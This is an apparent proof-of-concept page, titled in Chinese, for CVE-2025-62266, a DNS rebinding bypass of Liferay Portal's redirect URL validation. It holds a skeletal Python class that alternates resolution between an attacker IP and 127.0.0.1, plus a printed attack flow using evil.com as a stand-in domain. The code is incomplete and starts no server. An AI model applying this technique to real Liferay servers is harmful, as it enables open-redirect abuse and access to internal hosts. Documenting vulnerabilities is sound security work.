CVE-2025-62266 Liferay Portal DNS重绑定攻击漏洞

import http.server import socketserver import time # Malicious DNS server for DNS rebinding attack # This PoC demonstrates the DNS rebinding technique class DNSRebindHandler: def __init__(self): self.request_count = 0 self.attack_ip = "attacker-controlled-server-ip" self.target_ip = "127.0.0.1" # Internal network IP def get_ip_for_request(self): # Alternate between attacker's IP and internal IP self.request_count += 1 if self.request_count % 2 == 1: return self.attack_ip else: return self.target_ip # Attack scenario: # 1. Attacker registers malicious domain (e.g., evil.com) # 2. Domain initially resolves to attacker's external server # 3. User visits Liferay portal with link containing evil.com # 4. After first request, DNS switches to internal IP (via rebinding) # 5. Liferay thinks request is from internal/trusted source # 6. Subsequent requests allow redirect to arbitrary URLs print("DNS Rebinding Attack PoC for CVE-2025-62266") print("Target: Liferay Portal redirect URL validation bypass") print("Attack Flow:") print("1. Attacker creates malicious domain with short TTL") print("2. Domain resolves to external server initially") print("3. After validation, DNS rebinds to internal IP") print("4. Liferay allows redirect to attacker-controlled URL")